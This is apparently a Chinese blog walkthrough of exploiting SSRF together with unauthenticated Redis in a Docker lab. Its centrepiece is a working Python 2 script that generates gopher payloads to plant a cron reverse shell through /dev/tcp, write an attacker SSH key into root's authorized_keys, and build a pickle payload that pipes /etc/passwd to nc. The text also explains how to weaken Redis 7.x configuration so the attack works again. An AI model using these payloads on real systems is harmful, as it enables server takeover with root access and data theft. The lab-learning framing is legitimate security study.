ssrf结合redis未授权getshell

目录

漏洞介绍

SSRF

Redis未授权

利用原理

环境搭建

利用过程

rockylinux

cron计划任务反弹shell

写公钥+免密登录

ubuntu

写公钥+免密登录


漏洞介绍

SSRF

SSRF(server side request forgrey)服务端请求伪造,因后端未过滤用户输入,导致攻击者可以利用服务器向由攻击者输入的任意地址发起HTTP请求。攻击者可以对内网脆弱组件,redis,php-fpm发起攻击,获取服务器权限

Redis未授权

Redis在低版本中未强制设置密码,攻击者可以无需任何权限访问redis,若redis未降权运行,可获取服务器root权限

利用原理

原理即为攻击者通过SSRF访问内网或本地的redis6379端口,如果刚好存在redis未授权,即可getshell

环境搭建

原来的靶场环境Web-Hacking-Lab因为centos的停止维护用不了了,我改成了rockylinux8的镜像,类似centos操作系统

注意:我是在外网的公网服务器上搭建的,不保证国内可以搭建成功,师傅们自行修改docker文件

链接:https://pan.baidu.com/s/1-ebmTKaWGu3qeat5fK1iOw?pwd=cate

提取码:cate

利用过程

rockylinux

访问http://ip:2222

尝试file读取文件,成功读取,说明存在ssrf漏洞

尝试访问本地6379端口,发现redis报错,说明存在redis组件

cron计划任务反弹shell

python 复制代码
#!/usr/bin/python2
from __future__ import print_function

import os
import sys
import base64
import urllib
import pickle
import subprocess


def generate_resp(command):
    res = ""

    if isinstance(command, list):
        pass
    else:
        command = command.split(" ")
    
    res += "*{}\n".format(len(command))
    for cmd in command:
        res += "${}\n".format(len(cmd))
        res += "{}\n".format(cmd)
    
    return res

def get_public_ip():

    try:
        return subprocess.check_output(["curl","-s","ident.me"])
    except:
        return None

def generate_gopher(payload):
    
    final_payload = "gopher://127.0.0.1:6379/_{}".format(urllib.quote(payload))
    
    return final_payload

def ssh_key_write(ssh_dir="/root/.ssh"):
    res = ""
    pubkey_path = "/root/.ssh/id_rsa.pub"

    if(not os.path.exists(pubkey_path)):
        print("Please Run : ssh-keygen -t rsa")
        exit(1)

    pubkey = "\n\n" + open(pubkey_path,"r").read()

    res += generate_resp('flushall')
    # res += generate_resp('set 1 {}'.format(pubkey))
    res += generate_resp("set 1 {DUMMY}".format(DUMMY="A" * len(pubkey)))
    res += generate_resp('config set dir {}'.format(ssh_dir))
    res += generate_resp('config set dbfilename authorized_keys')
    res += generate_resp('save')
    res += generate_resp('quit')

    res = res.replace("A" * len(pubkey),pubkey)
    res = res.replace("\n","\r\n")
    
    print(generate_gopher(res))

    print("")
    print("")
    print("====================================================")
    print("After payload executed, try ssh root@server_hostname")
    print("====================================================")


def cron_write(ip, port=8080, os_type="centos"):

    if os_type == "centos":
        crontab_path = "/var/spool/cron/"
    else:
        crontab_path = "/var/spool/cron/crontabs"

    cron_command = "\n\n*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/{ip}/{port} 0>&1'\n\n".format(ip=ip, port=port)
    res = ""

    res += generate_resp('flushall')
    res += generate_resp("set 1 {DUMMY}".format(DUMMY="A" * len(cron_command)))
    res += generate_resp('config set dir {}'.format(crontab_path))
    res += generate_resp('config set dbfilename root')
    res += generate_resp('save')
    res += generate_resp('quit')

    res = res.replace("\n","\r\n")
    res = res.replace("A" * len(cron_command), cron_command)

    print(generate_gopher(res))

class PickleExploit(object):

    def __reduce__(self):
        ip = "127.0.0.1"
        port = "9091"
        cmd = 'cat /etc/passwd | nc {} {}'.format(ip, port)
        return (os.system, (cmd,))

def pickle_payload(key):
    res = ""

    payload = pickle.dumps(PickleExploit())
    res += "\r\n"
    res += generate_resp("set {} {}".format(key, base64.b64encode(payload)))

    res = res.replace("\n", "\r\n")

    print(generate_gopher(res).replace("gopher","http"))



if len(sys.argv) < 2:
    print("cron or ssh or pickle")
    sys.exit(0)

if sys.argv[1] == "cron":
    ip = raw_input("Reverse IP > ") or get_public_ip() or "127.0.0.1"
    port = raw_input("Port > ") or "8080"
    os_type = raw_input("Centos/Ubuntu (Default Centos)") or "centos"
    cron_write(ip=ip,port=port)

if sys.argv[1] == "ssh":
    ssh_key_write()

if sys.argv[1] == "pickle":
    key = raw_input("Key name > ")
    pickle_payload(key)

利用python脚本生成payload,注意是python2

抓包发送payload,(这里因为是post数据流,可以urlencode,也可以不用)

可以看到redis返回ok

等待一分钟左右,成功反弹root权限

进容器,可以看到任务计划中成功写入反弹shell脚本

写公钥+免密登录

同样利用python脚本生成payload

ssh-keygen生成密钥

抓包发送payload,可以看到redis返回ok

注意这里不要urlencode编码,否则会出现下面这种情况

然后直接ssh登录,成功登录,注意这里的 -p 10025,因为是容器的22端口映射到服务器上的10025端口

进容器查看.ssh目录,发现的确写入了公钥

ubuntu

写公钥+免密登录

探测6379端口是否存在,发现redis返回报错信息

同样python生成payload

但是在发送时却遇到了问题

为此我在容器里redis-cli连接redis,直接写入,看看是否是redis的问题

果不其然,是redis的问题

那为什么rockylinux没有问题?

我查看了Dockerfile文件,发现rockylinux使用的是5.0.5的redis版本

而ubuntu用的则是稳定版本

之后想起来redis有一个保护模式,我尝试改成no,然后重启redis,仍然不行

查找其他博主的博客。尝试这两个命令,仍然不行

复制代码
config set protected-mode no
config set slave-read-only no

发现可能是版本太高,换个版本试试

换成6.2.9后直接设置成功,没有报错

再试试高一点的 7.2.1版本,发现也还是不行

说明redis在7.x版本中意识到了redis未授权对服务器的危害,不允许用户再自定义被保护的配置路径

想要在7.x版本中复现,可以修改redis配置文件的配置,将下面的配置改为yes

再次发送payload

成功登录

相关推荐
haogexiaole3 小时前
Redis优缺点
数据库·redis·缓存
在未来等你3 小时前
Redis面试精讲 Day 27:Redis 7.0/8.0新特性深度解析
数据库·redis·缓存·面试
川石课堂软件测试5 小时前
技术干货|使用Prometheus+Grafana监控Tomcat实例详解
redis·功能测试·单元测试·tomcat·测试用例·grafana·prometheus
std860217 小时前
ISO 22341 及ISO 22341-2:2025安全与韧性——防护安全——通过环境设计预防犯罪(CPTED)
安全
两张不够花8 小时前
Shell脚本源码安装Redis、MySQL、Mongodb、PostgreSQL(无报错版)
linux·数据库·redis·mysql·mongodb·postgresql·云计算
Warren9810 小时前
Spring Boot 整合网易163邮箱发送邮件实现找回密码功能
数据库·vue.js·spring boot·redis·后端·python·spring
Warren9813 小时前
如何在 Spring Boot 中安全读取账号密码等
java·开发语言·spring boot·后端·安全·面试·测试用例
杭州泽沃电子科技有限公司14 小时前
工业环境电缆火灾预防的分布式光纤在线监测
运维·人工智能·科技·安全
ScottePerk15 小时前
前端安全之XSS和CSRF
前端·安全·xss
小花鱼202516 小时前
redis在Spring中应用相关
redis·spring